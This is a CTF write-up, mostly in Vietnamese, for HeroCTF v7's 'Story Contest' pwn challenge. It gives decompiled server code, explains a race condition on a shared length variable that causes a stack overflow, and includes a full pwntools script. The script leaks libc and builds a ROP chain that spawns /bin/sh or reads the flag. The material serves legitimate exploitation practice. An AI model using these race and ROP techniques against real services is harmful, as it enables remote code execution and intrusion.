pwn - Story Contest

It’s time for you to tell your best story, and maybe you’ll be rewarded accordingly. Good luck !

December 1, 2025 November 29, 2025 Medium
Author Author Hung Nguyen Tuong

Setup

Challenge có cho libc nên mình sẽ patch bằng pwninit:

Source Code

main()

undefined8 main(void)

{
  int is_ok;
  pthread_t cur_thread;
  socklen_t local_4c;
  sockaddr local_48;
  sockaddr addr;
  undefined4 local_1c;
  int *fd_ptr;
  int client_socket;
  int server_socket;
  
  setvbuf(stdout,(char *)0x0,2,0);
  server_socket = socket(2,1,0);
  if (server_socket < 0) {
    perror("socket");
  }
  else {
    local_1c = 1;
    setsockopt(server_socket,1,2,&local_1c,4);
    memset(&addr,0,0x10);
    addr.sa_family = 2;
    addr.sa_data._0_2_ = htons(5555);
    addr.sa_data._2_4_ = htonl(0);
    is_ok = bind(server_socket,&addr,0x10);
    if (is_ok < 0) {
      perror("bind");
    }
    else {
      is_ok = listen(server_socket,0x10);
      if (-1 < is_ok) {
        fprintf(stderr,"StoryJury listening on port %d\n",0x15b3);
        do {
          while( true ) {
            while( true ) {
              local_4c = 0x10;
              client_socket = accept(server_socket,&local_48,&local_4c);
              if (-1 < client_socket) break;
              perror("accept");
            }
            fd_ptr = (int *)malloc(4);
            if (fd_ptr != (int *)0x0) break;
            perror("malloc");
            close(client_socket);
          }
          *fd_ptr = client_socket;
          is_ok = pthread_create(&cur_thread,(pthread_attr_t *)0x0,client_thread,fd_ptr);
          if (is_ok == 0) {
            pthread_detach(cur_thread);
          }
          else {
            perror("pthread_create");
            close(client_socket);
            free(fd_ptr);
          }
        } while( true );
      }
      perror("listen");
    }
  }
  return 1;
}

Server lắng nghe tại 0.0.0.0:5555. Mỗi khi accept một kết nối từ client, server khởi tạo một thread mới để xử lý. Server và client sẽ trao đổi qua client_socket.

client_thread()

undefined8 client_thread(int *fd_ptr)

{
  int choice;
  int fd;

  fd = *fd_ptr;
  free(fd_ptr);
  memset(&last_story, 0, 128);
  while (true)
  {
    show_menu(fd);
    choice = recv_int(fd);
    if (choice < 0)
      break;
    switch (choice)
    {
    default:
      send_line(fd, "Invalid choice.");
      break;
    case 1:
      submit_story(fd);
      break;
    case 2:
      show_last_story(fd);
      break;
    case 3:
      show_jury_info(fd);
      break;
    case 4:
      show_public_results(fd);
      break;
    case 5:
      send_line(fd, "Goodbye.");
      close(fd);
      return 0;
    }
  }
  close(fd);
  return 0;
}

submit_story()

void submit_story(int fd)

{
  char msg_buf[64];
  undefined1 story_buf[136];
  size_t n;
  size_t nbytes;
  int story_len;
  int tmp;

  send_line(fd, "=== Submit a new story ===");
  send_line(fd, "The jury needs a short moment to prepare the evaluation...");
  send_str(fd, "Choose a length limit for your story: ");
  story_len = recv_int(fd);
  tmp = story_len;
  if (story_len < 1)
  {
    send_line(fd, "Invalid length.");
  }
  else
  {
    global_story_len = story_len;
    if (story_len < 129)
    {
      send_line(fd, "[*] The jury is thinking (0.5s)...");
      usleep(500000);
      send_line(fd, "Now type your story:");
      nbytes = read(fd, story_buf, (long)global_story_len);
      if ((long)nbytes < 1)
      {
        send_line(fd, "Input error.");
      }
      else
      {
        n = nbytes;
        if (126 < (long)nbytes)
        {
          n = 127;
        }
        memcpy(&last_story, story_buf, n);
        (&last_story)[n] = 0;
        snprintf(msg_buf, 64, "[*] Received %ld bytes.", nbytes);
        send_line(fd, msg_buf);
      }
    }
    else
    {
      send_line(fd, "Right now, we cannot process stories that long.");
    }
  }
  return;
}

Ở hàm này gặp vấn đề race condition time-to-check time-to-use tại story_len. Giả sử một thread nhập vào story_len một giá trị hợp lệ (< 129) và chạy đến usleep() ngủ 0.5s. Trong lúc đó, một thread khác mới chạy đến global_story_len = story_len với một giá trị lớn hơn rất nhiều. Vì global_story_len là biến toàn cục, toàn bộ thread chia sẻ với nhau, thread trước đó sẽ sử dụng giá trị global_story_len rất lớn này, dẫn đến buffer overflow ở đây.

show_jury_info()

void show_jury_info(int fd)

{
  char msg_buf[128];

  send_line(fd, "=== Jury information ===");
  if (bonus_enabled == 0)
  {
    send_line(fd, "Current jury mode: standard evaluation.");
  }
  else
  {
    send_line(fd, "Current jury mode: bonus enabled.");
  }
  snprintf(msg_buf, 128, "Current global story length: %d", (ulong)global_story_len);
  send_line(fd, msg_buf);
  if (jury_gift != 0)
  {
    snprintf(msg_buf, 128, "Jury gift: %p", jury_gift);
    send_line(fd, msg_buf);
  }
  return;
}

bonus_entry()

void bonus_entry(long param_1)

{
  if (param_1 == 0x1337c0de)
  {
    bonus_enabled = 1;
  }
  return;
}

show_public_results()

void show_public_results(int fd)

{
  if (bonus_enabled == 0)
  {
    send_line(fd, "=== Public results ===");
    send_line(fd, "Official results have not been announced yet.");
  }
  else
  {
    results_entry(fd);
  }
  return;
}

results_entry()

void results_entry(int fd)

{
  char *flag;
  char flag_buf[136];
  FILE *flag_fd;

  if (bonus_enabled == 0)
  {
    send_line(fd, "The jury refuses to show final results.");
  }
  else
  {
    flag_fd = fopen("flag.txt", "r");
    if (flag_fd == (FILE *)0x0)
    {
      send_line(fd, "Error opening flag.");
    }
    else
    {
      flag = fgets(flag_buf, 128, flag_fd);
      if (flag == (char *)0x0)
      {
        send_line(fd, "Error reading flag.");
        fclose(flag_fd);
      }
      else
      {
        send_str(fd, "[+] The jury announces the winner! Flag: ");
        send_str(fd, flag_buf);
        fclose(flag_fd);
      }
    }
  }
  return;
}

gift()

void gift(int param_1)

{
  jury_gift = stdout;
  close(param_1);
  // WARNING: Subroutine does not return
  pthread_exit((void *)0x0);
}

Mitigation

Không có canary, không PIE, nên mình buffer overflow để ghi đè return address.

Solve

Ban đầu mình ghi đè return address để nhảy đến ngay flag_fd = fopen(“flag.txt”, “r”) trong results_entry() để bypass kiểm tra bonus_enabled. Nhưng làm vậy thiếu đi các biến cục bộ trong hàm nên ko thể in ra flag.

Sau đó mình nhảy đến bonus_enabled = 1 trong bonus_entry() để bypass param_1 == 0x1337c0de rồi return về results_entry(). Nhưng lại gặp vấn đề là đối số fd được truyền vào ko đúng, nên mặc dù flag được in ra nhưng ko gửi vào đúng socket để client đọc được.

Thế vậy, mình nghĩ tới việc sử dụng gadget pop rdi; ret để gán lại đối số fd. Nhưng lại có vấn đề là binary không có gadget đó:

ngtuonghung@ubuntu:~/ctfs/heroctfv7/storycontest$ ROPgadget --bin storycontest | grep rdi
0x000000000040156e : add byte ptr [rdi + 7], bh ; mov eax, 0xffffffff ; jmp 0x4015bc
0x000000000040156d : lock add byte ptr [rdi + 7], bh ; mov eax, 0xffffffff ; jmp 0x4015bc
0x00000000004013e6 : or dword ptr [rdi + 0x4040f0], edi ; jmp rax
0x000000000040100b : shr dword ptr [rdi], 1 ; add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax

Trong libc thì tất nhiên là có nhưng mình chưa leak được libc. Kẹt ở đoạn này một lúc mình mới để ý tới hàm gift(). Mình sẽ nhảy đến hàm gift() để gán jury_gift = stdout, rất may có gọi hàm đóng thread ở dưới, nếu không thì bị sigsegv và chết cả process. Sau khi đóng thread này, thread còn lại sẽ show_jury_info() để lấy địa chỉ libc.

Khi đã có được libc thì việc còn lại khá đơn giản.

Script

#!/usr/bin/env python3

from pwn import *
import time
import threading

exe = ELF("storycontest_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.39.so", checksec=False)

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
set follow-fork-mode parent
break *0x40185c
continue
'''

host = "dyn05.heroctf.fr"
port = 12325

def server_conn():
    p = process([exe.path])
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)
    if args.DEBUG:
        context.log_level = 'debug'
    return p

def client_conn():
    if args.LOCAL:
        p = remote("localhost", 5555)
    else:
        p = remote(host, port)
    return p

server = None

if args.LOCAL:
    print("server conn")
    server = server_conn()
    sleep(1)

def submit(p, length, story):
    slan(p, b'>', 1)
    slan(p, b'Choose a length limit for your story: ', length)
    if len(story) > 0:
        sa(p, b'Now type your story:', story)

def show_story(p):
    slan(p, b'>', 2)

def show_jury_info(p):
    slan(p, b'>', 3)

print("client p1 conn")
p1 = client_conn()
print("client p2 conn")
p2 = client_conn()

sleep(1)

def thread1(pl):
    print("thread 1: submit with len=128, payload")
    submit(p1, 128, pl)
    print("thread 1: done")

def thread2(pl):
    time.sleep(0.01)
    print("thread 2: overwriting return address")
    submit(p2, len(pl), b'')
    print("thread 2: done")

# Race to overwrite return address to gift()

print("building payload 1: return to gift()")
pl = flat(
    b'A' * 0xa8,
    0x4013ef, # nop; ret for stack alignment
    0x401715, # gift()
)
print(f"payload 1 len: {len(pl)}")

print("race 1: start")
t1 = threading.Thread(target=thread1, args=(pl,))
t2 = threading.Thread(target=thread2, args=(pl,))

t1.start()
t2.start()

t1.join()

sleep(1)
print("closing p1")
p1.close()

t2.join()
print("race1: complete")

# Leak libc address

print("leak libc: requesting jury info")
show_jury_info(p2)
ru(p2, b'Jury gift: ')
stdout = int(rn(p2, 14), 16)
print(f"stdout: {hex(stdout)}")
libc.address = stdout - libc.symbols['_IO_2_1_stdout_']
log.info(f"libc base: {hex(libc.address)}")

sleep(1)

print("client p1 reconnect")
p1 = client_conn()

sleep(1)

pl = b''

if args.LOCAL:
    print("building payload 2: rop spawning local shell")
    pl = flat(
        b'A' * 0xa8,
        0x4013ef, # nop; ret for stack alignment
        libc.address + 0x000000000010f78b, # pop rdi; ret
        next(libc.search(b'/bin/sh')),
        libc.address + 0x0000000000110a7d, # pop rsi; ret
        0,
        libc.address + 0x00000000000dd237, # pop rax; ret
        0x3b, # execve
        libc.address + 0x00000000000288b5 # syscall
    )
else:
    print("building payload 2: return to results_entry() on remote")
    pl = flat(
        b'A' * 0xa8,
        0x4013ef, # nop; ret for stack alignment
        libc.address + 0x000000000010f78b, # pop rdi; ret
        6, # fd (thread 4, 3rd client)
        0x401612, # bonus_entry()
        1, # saved rbp
        0x40161f # results_entry()
    )

print(f"payload 2 len: {len(pl)}")

t3 = threading.Thread(target=thread1, args=(pl,))
t4 = threading.Thread(target=thread2, args=(pl,))

t3.start()
t4.start()

t3.join()
t4.join()

if args.LOCAL:
    ia(server)
else:
    ia(p1)

Có thể do file descriptor khi mở shell ở trên remote khác với local, nên mình ko tương tác với shell trên remote được. Mình chỉ có thể đọc flag qua fd = 6.

Hoặc là do mình chưa đặt rdx về null bởi vì libc ko có gadget pop rdx; ret. Ở local thì rdx là null sẵn rồi nhưng trên remote thì chưa chắc. Nhưng mà thôi mình cũng lười sửa :))

Remote Read Flag
Local RCE